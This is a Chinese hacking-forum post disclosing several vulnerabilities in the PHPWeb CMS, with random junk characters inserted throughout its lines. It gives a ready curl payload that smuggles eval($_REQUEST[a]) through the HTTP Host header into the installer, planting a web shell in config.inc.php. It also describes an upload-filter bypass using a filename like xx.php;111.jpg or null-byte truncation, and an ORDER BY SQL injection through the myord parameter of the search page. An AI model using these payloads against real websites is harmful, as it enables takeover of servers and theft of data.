找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2260|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:7 F5 u6 h; m0 H6 E. Q) L- b! o

$ j- e' ~# l" K( T* Z; ]. L; f8 ~之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
) B$ g3 a6 y6 \% [7 W* i" @/ W/ \ & o$ ?5 c# V+ G
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件+ f- V8 M# u- J6 d8 k. H; C
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
' y/ ]: p# m1 C4 N+ U5 k
6 `  A- ?+ a1 R( F2 \虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' Z$ V% b2 V. O5 B9 i2 U / m6 ]7 w$ G, H) h  A+ i6 l$ D6 ~
分析:
1 H( ~9 U9 P6 T4 m' S3 Y9 J- Y2 q ! h& g$ q% d* p1 S/ g
- O  G9 b5 P' H
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
/ n$ X" @8 }! L) P 3 T2 T3 N$ S1 d; k1 O
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);! J, y5 h( ^! c! O4 W
                                            $filestr=str_replace(" ","",$filestr);  s" K9 f3 [# L- Y  B+ I8 }
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);$ `1 d! N; k8 o, \9 d6 y1 W
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);- ~5 u* ?' c+ y# V
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);! f7 X" h: r; v# X( t) V, k0 m  P, k
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, e4 N$ v' u  s
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);/ y8 W2 S: V) O/ S, F) F' O
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
8 l- `8 r% ?  A                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# {- [. f5 [# C) T* `' T
* D  C7 W% Q7 t+ _  a+ W) `                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
7 |/ ?( x* |( S0 l$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
# w& X5 S7 R0 l0 L# C8 H( \. P7 B
! s, Z, L' p" O$ \poc:
8 k9 b3 z) g# X8 {: d1 Y
% g/ E& F- [' h9 S& H! Q?
6 _4 x/ o( U* M% {* u18 v9 @8 h4 p0 R5 L4 a9 h
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 x* Y. B2 R9 z8 O$ X) d
shell地址: /config.inc.php
9 @% Q# e; x. }6 X: ^" j跟之前的 phpcms一样 需要远程数据库
5 q; ^8 R1 O0 [9 O1 m% \; b : f5 C4 s1 n1 B1 m
——————————————————–
5 h& t% ?" I5 v# o8 O, S: S上传漏洞(需要进后台):# L3 K; ?9 D6 p4 m8 \1 k( _# W
漏洞文件: /kedit/upload_cgi/upload.php
$ ?% \6 r# |! A: Z这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用1 j& e5 B1 T4 V' M4 C( D2 t
2 Y! Z3 W* P! Q% p

& p8 }1 \% b6 ^. C* Q" X<?php
. s: r9 C( ~+ `/ q/ r+ Z3 Y    define("ROOTPATH", "../../");
; {8 N' S8 I  h4 H4 Z. u1 `( \, C: _    include(ROOTPATH."includes/admin.inc.php");8 {* o# _9 k- r2 B8 |! Z0 v) S
    NeedAuth(0);
  Q: }/ u  b/ A, Y . I. c0 L6 t+ G- ?
    $dt=date("Ymd",time());
( Z2 H0 v" H. V# ~- Y/ K" q    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ l& J- x4 W0 K+ x            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; f1 G  d3 K* |5 f: a# u/ N; E/ q# Y    }
9 ^7 q( l0 T; j- ]
7 G: H( c# W; c! U8 ^/ j6 r8 t    //文件保存目录路径# V4 Z9 K/ Z3 p* o( Q8 J
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';, A1 i# ~# l9 w  J5 f( `
    echo $save_path;
! v' c! q0 e2 ~: h5 }+ {* b    //文件保存目录URL$ j+ j- ]9 m5 J5 u1 D- H2 ?
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, g0 ]: a- W" X/ V, P2 X

5 u( Y( v. u; G5 O# ^, [; G4 V- q* y    //定义允许上传的文件扩展名% w- c% r8 D, n# y) D
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀! D! T+ r! ^0 m  M7 }
- T7 N. r, K& F3 [
    //最大文件大小
: P0 @) Y! w" V- @. k# ~7 R9 d7 X    $max_size = 1000000;8 s( Q; |' E7 K+ ~0 u
( M% M# [" C1 q$ L
    //更改目录权限/ I+ R2 T- Q8 C5 {" Y) c" V
    @mkdir($save_path, 0777);
& c  P* F$ R, d
9 Z: @. @) l, I4 z# g    //文件的全部路径% a2 T' d) @" z; s1 z! k
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
9 {2 l8 [+ s2 [2 u1 }8 g( w) d0 ?
  Z' G9 \) C" U0 x! i4 l8 P% @    //文件URL
$ @' J/ t$ n8 `6 }5 e! F    $file_url = $save_url.$_POST['fileName'];* g. D3 A3 V& G1 R) w2 p2 t- v
//有上传文件时
& Y: v" @+ N% r$ p- ?    if (empty($_FILES) === false) {  z! Y) C+ K! N* i, I$ R9 h
9 x( ]' ]7 w/ y( A! O; v% U( Z/ p
            //原文件名
0 F9 l0 S* Q( X            $file_name = $_FILES['fileData']['name'];0 Y+ O2 y- q8 V' Q* }8 ~$ c
            //服务器上临时文件名" o8 K2 a. B; |6 ?! @0 ~, w9 E
            $tmp_name = $_FILES['fileData']['tmp_name'];
# T  v/ l" q4 z            //文件大小9 m3 m- G. c( _: u; z* `+ @6 ?
            $file_size = $_FILES['fileData']['size'];) j  i* q+ w0 R2 K2 E" E% q3 d
            //检查目录
% b# m0 o: {# U2 m2 g% \- G            if (@is_dir($save_path) === false) {* a; F7 z0 e5 J' l$ {
                    alert("上传目录不存在。");/ i( g! Q: E, H6 i+ Q. _0 h. f2 u
            }( P' h; v( W; w, D! Q- u
            //检查目录写权限  T$ p: N5 N1 y0 ~& `0 {
            if (@is_writable($save_path) === false) {
& S# D9 j6 A2 M! y% Y& `                    alert("上传目录没有写权限。");2 X- w2 ]: A9 }
            }8 y" v* x  N3 s  K* Q1 P, Z
            //检查是否已上传
! Y8 R; W# S4 S) ~            if (@is_uploaded_file($tmp_name) === false) {. _5 `( s- g4 \  a" E7 a4 o( V
                    alert("临时文件可能不是上传文件。");
4 E9 o7 Q& c2 E3 P* U            }
% A6 n2 L7 x4 o0 E; L! o            //检查文件大小: n- ?* a6 `- k1 \) }
            if ($file_size > $max_size) {! c$ r, Y& W; J9 h+ f
                    alert("上传文件大小超过限制。");
" n# L1 Q( H4 t. O3 l8 N2 q6 {            }# h* H: N6 Y2 h4 L
            //获得文件扩展名
/ z% j% Z6 m( V  J. |            $temp_arr = explode(".", $_POST['fileName']);
1 ~" Y( X+ X/ z/ |0 h# q            $file_ext = array_pop($temp_arr);+ M4 ~% y# x- m
            $file_ext = trim($file_ext);
* ^/ H1 T/ J' y2 h            $file_ext = strtolower($file_ext);
7 w$ X' J3 z4 Z( ~1 Z9 B* |5 \
5 j6 K4 V1 n, h7 I            //检查扩展名   
. E) |- j- E) X/ ]0 b            if (in_array($file_ext, $ext_arr) === false) {     / A! b& ~) Y6 }0 n5 P* x
                    alert("上传文件扩展名是不允许的扩展名。");
: ?/ l; g4 {( }* X5 n; r/ ]% d            }
& K, Y, m  b1 }% o0 T* r0 H 1 s8 k6 k* [& ~' j/ d
            //移动文件   / l5 z1 A6 Y3 `3 B) r0 _; M5 }( J
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^! o9 \' t0 t1 F$ `& ?
            if (move_uploaded_file($tmp_name, $file_path) === false) {
: C& c) ^0 y6 R! y, J! A& s/ H                    alert("上传文件失败。");
* u, N! Q7 t+ G            }
+ d. R5 }$ u: |0 q. P/ B 5 k1 A: M* C- Z* O, Y
            @chmod($file_path,0666);
) _- J: @8 W& o4 x! Q: E3 K
& e0 \$ K1 N3 j: _, f    ?>
; q  e" Z# y2 n7 J抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2274 x' l0 U, ^/ D; h! C
1 I) j7 J; S4 o, M. h
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' ^- t9 K/ S, k  L2 V) s
3 D' J5 w3 q. ]4 Q——————————————————) S- d/ k' W: J1 t1 B" ?9 X
注入漏洞:" \' f3 z* f! l% }$ J5 h
漏洞文件:search/module/search.php) A+ e2 \# x' b. a7 O, X0 p9 P
/search/index.php?key=1&myord=1 [sqlinjection]2 W# b' y3 J, g' n* \, K

, [/ x2 q6 R7 ^# D7 e, U 2 o  W1 B; T9 a, T2 e6 H1 r8 h
<?php
: O! o- C/ F" c% Q* M- X   //       ... 省略 n 行..." g2 z+ j6 z3 ?
   //第18行:7 d' N# b) c  P& h( U/ A4 e9 Z3 O, F- I
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响1 W# s+ ?/ P9 r6 L5 b
           $page=htmlspecialchars($_GET["page"]);6 G9 Y1 ~; a4 p/ y0 o2 i0 y
           $myord=htmlspecialchars($_GET["myord"]);5 ~, q$ g% T9 p3 U& F$ X

, G' s  L' b- A* _$ r1 T" i. K   //       ... 省略 n 行...
7 J5 t, y' }9 M2 p! c) D   $key,$myord 两个参数带入查询
2 @0 e* Y. E9 L1 q9 @8 L   //第47行 $key:# _0 u6 V# e8 j$ V) H

* |8 O6 }# k. m- g! f  h8 p9 n   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
5 g# n+ y: e' r- A! y: T
' T$ z! n8 R' _   //第197行 $myord
' W. N; [7 ?# `   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
) x& R6 k: X1 q; `; o ) X0 u# _- ^, D  _) S* K) H
   ?>7 B; N$ B% G0 W; j0 _' }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表